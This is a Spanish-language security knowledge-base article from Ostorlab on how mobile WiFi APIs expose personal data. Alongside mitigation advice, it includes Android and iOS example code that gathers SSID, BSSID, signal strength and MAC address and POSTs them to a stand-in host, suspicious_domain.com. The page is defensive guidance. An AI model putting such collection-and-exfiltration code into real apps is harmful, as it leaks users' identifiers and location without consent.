- Seguridad y Privacidad
- Base de conocimiento
- Mobile WiFi API Personal Identifiable Information concerns
Preocupaciones sobre la información de identificación personal en la API WiFi móvil
Descripción
Preocupaciones sobre la información de identificación personal en la API WiFi
Las aplicaciones móviles con acceso a la API WiFi pueden obtener Información de Identificación Personal (PII), como nombres de redes y el historial de uso de puntos de acceso, lo que podría conducir a la inferencia de datos privados.
Las aplicaciones que utilizan permisos y API relacionados con WiFi pueden acceder a información confidencial sobre puntos de acceso WiFi (como identificadores, nombres e intensidad de señales) y potencialmente inferir:
- Identificadores únicos de dispositivo
- Datos de geolocalización mediante el uso de puntos de acceso WiFi circundantes
- Historial de movimiento del usuario e inferencia de enlaces sociales basados en patrones repetitivos en el uso de puntos de acceso WiFi
Ejemplos
import android.content.Context;
import android.net.wifi.WifiInfo;
import android.net.wifi.WifiManager;
import java.net.HttpURLConnection;
import java.net.URL;
import java.io.OutputStream;
import java.nio.charset.StandardCharsets;
public class WifiInfoRetriever {
private Context context;
public WifiInfoRetriever(Context context) {
this.context = context;
}
public void retrieveWifiInfo() {
WifiManager wifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
if (wifiManager.isWifiEnabled()) {
WifiInfo wifiInfo = wifiManager.getConnectionInfo();
String ssid = wifiInfo.getSSID();
String bssid = wifiInfo.getBSSID();
int rssi = wifiInfo.getRssi();
String macAddress = wifiInfo.getMacAddress();
// Construct JSON with data
String jsonInputString = String.format("{\"ssid\":\"%s\", \"bssid\":\"%s\", \"rssi\":%d, \"macAddress\":\"%s\"}",
ssid, bssid, rssi, macAddress);
try {
// Endpoint URL
URL url = new URL("http://suspicious_domain.com/api/networks");
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
// Connection setup
connection.setDoOutput(true);
connection.setRequestMethod("POST");
connection.setRequestProperty("Content-Type", "application/json");
try (OutputStream os = connection.getOutputStream()) {
byte[] input = jsonInputString.getBytes(StandardCharsets.UTF_8);
os.write(input, 0, input.length);
}
// Additional analysis could be performed when the data reaches the endpoint
// such as inferring location or movement patterns of users
connection.disconnect();
} catch (Exception e) {
e.printStackTrace();
}
} else {
System.out.println("WiFi is not enabled");
}
}
}
import Foundation
import SystemConfiguration.CaptiveNetwork
import NetworkExtension
class WifiInfoRetriever {
func retrieveWifiInfo() {
// Get current WiFi information
guard let interfaces = CNCopySupportedInterfaces() as? [String] else {
print("Unable to get network interfaces")
return
}
var wifiData: [String: String] = [:]
for interface in interfaces {
if let networkInfo = CNCopyCurrentNetworkInfo(interface as CFString) as? [String: Any] {
wifiData["ssid"] = networkInfo[kCNNetworkInfoKeySSID as String] as? String
wifiData["bssid"] = networkInfo[kCNNetworkInfoKeyBSSID as String] as? String
}
}
// Check if data was retrieved
if !wifiData.isEmpty {
// Convert to JSON
guard let jsonData = try? JSONSerialization.data(withJSONObject: wifiData, options: []) else {
print("Could not convert to JSON")
return
}
// Create request
guard let url = URL(string: "http://suspicious_domain.com/api/networks") else {
return
}
var request = URLRequest(url: url)
request.httpMethod = "POST"
request.httpBody = jsonData
request.addValue("application/json", forHTTPHeaderField: "Content-Type")
// Send data to server
let task = URLSession.shared.dataTask(with: request) { data, response, error in
// Handle response as needed
// Data could be used to infer user location and movement patterns
}
task.resume()
} else {
print("WiFi information not available")
}
}
}
Recomendación
Mitigación de riesgos de privacidad de la API WiFi
Para mitigar los riesgos de privacidad asociados con el acceso de las API WiFi móviles a la Información de Identificación Personal (PII), tanto los usuarios como los desarrolladores pueden tomar varias precauciones:
Para usuarios:
- Mantenga el sistema operativo móvil y todas las aplicaciones actualizadas a las últimas versiones.
- Tenga cuidado al otorgar permisos relacionados con WiFi a las aplicaciones.
- Utilice una VPN al conectarse a redes WiFi públicas.
- Revise periódicamente los permisos de las aplicaciones en la configuración del dispositivo.
Para desarrolladores:
- Solicite permiso explícito del usuario para acceder a información confidencial de WiFi.
- Implemente el principio de 'Privilegio Mínimo', solicitando y utilizando solo los permisos mínimos necesarios para que la aplicación funcione.
- Haga hash o anonimice cualquier dato WiFi antes de almacenarlo o transmitirlo.
- Proporcione políticas de privacidad claras que expliquen cómo se utiliza la información de WiFi.
- Considere si la información de WiFi es realmente necesaria para la funcionalidad de la aplicación.
Ejemplos de código para desarrolladores:
// Request appropriate permissions
if (ContextCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION)
!= PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(this,
new String[]{Manifest.permission.ACCESS_FINE_LOCATION},
PERMISSION_REQUEST_CODE);
}
// Use Android 10+ methods whenever possible
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
// Use Android 10+ compliant methods
// For example, WifiInfo.getSSID() and getBSSID() return masked values by default
} else {
// Use methods for earlier Android versions
}
// Use privacy focused NetworkCallback API
ConnectivityManager connectivityManager =
(ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkRequest.Builder builder = new NetworkRequest.Builder();
builder.addTransportType(NetworkCapabilities.TRANSPORT_WIFI);
connectivityManager.registerNetworkCallback(builder.build(), new ConnectivityManager.NetworkCallback() {
@Override
public void onAvailable(Network network) {
// Handle WiFi connection here without accessing PII
}
});
// First, ensure you have proper permissions in Info.plist
// <key>NSLocationWhenInUseUsageDescription</key>
// <string>This app needs to access your location to find nearby WiFi networks</string>
import NetworkExtension
func requestWiFiPermission() {
// Request permission before accessing WiFi information
if #available(iOS 13.0, *) {
NEHotspotHelper.register(options: nil, queue: .main) { (cmd) -> Void in
// Handle commands appropriately
print("Permission request processed")
}
}
}
// Use minimal WiFi information when necessary
func connectToKnownNetwork() {
// Instead of collecting and storing SSID/BSSID pairs,
// use the system's built-in capabilities
if let configuration = NEHotspotConfiguration(ssid: "KnownNetwork") {
NEHotspotConfigurationManager.shared.apply(configuration) { error in
if let error = error {
print("Error connecting: \(error.localizedDescription)")
} else {
print("Connected successfully")
}
}
}
}
// If you must access WiFi information, anonymize it
func getAnonymizedWifiInfo() -> String? {
guard let interfaces = CNCopySupportedInterfaces() as? [String],
let interface = interfaces.first,
let networkInfo = CNCopyCurrentNetworkInfo(interface as CFString) as? [String: Any],
let ssid = networkInfo[kCNNetworkInfoKeySSID as String] as? String else {
return nil
}
// Hash the SSID instead of using it directly
return ssid.data(using: .utf8)?.sha256Hash.hexString
}
// Extension for hashing
extension Data {
var sha256Hash: Data {
var hash = [UInt8](repeating: 0, count: Int(CC_SHA256_DIGEST_LENGTH))
self.withUnsafeBytes {
_ = CC_SHA256($0.baseAddress, CC_LONG(self.count), &hash)
}
return Data(hash)
}
var hexString: String {
return map { String(format: "%02hhx", $0) }.joined()
}
}
Detecte este problema con Ostorlab
Ostorlab busca este problema en aplicaciones Android e iOS.
Analice su app gratisEnlaces
Estándares
- CCPA:
- CCPA_1798_100
- CCPA_1798_110
- CCPA_1798_115
- CCPA_1798_135
- CCPA_1798_150
- CWE_TOP_25:
- CWE_276
- GDPR:
- ART_1
- ART_2
- ART_3
- ART_4
- ART_5
- ART_6
- ART_9
- ART_13
- ART_14
- ART_21
- ART_32
- OWASP_ASVS_L1:
- V8_3_3
- OWASP_MASVS_L1:
- MSTG_ARCH_1
- MSTG_ARCH_4
- MSTG_ARCH_12
- MSTG_STORAGE_1
- MSTG_STORAGE_4
- MSTG_STORAGE_12
- MSTG_CODE_5
- OWASP_MASVS_L2:
- MSTG_ARCH_12
- MSTG_STORAGE_12
- MSTG_STORAGE_4
- HIPAA_CONTROLS:
- SECURITY221
- SECURITY212
- SECURITY213
- OWASP_MASVS_v2_1:
- MASVS_PRIVACY_1
- MASVS_PRIVACY_3
- MASVS_STORAGE_2
- MASVS_CODE_1
- MASVS_CODE_3
- CNIL_FOR_EDITORS:
- EDITORS_1_1_1
- EDITORS_1_2_3
- EDITORS_5_1_5
- CNIL_FOR_DEVELOPERS:
- DEVELOPERS_2_2_4
- OWASP_MOBILE_TOP_10:
- M5_2024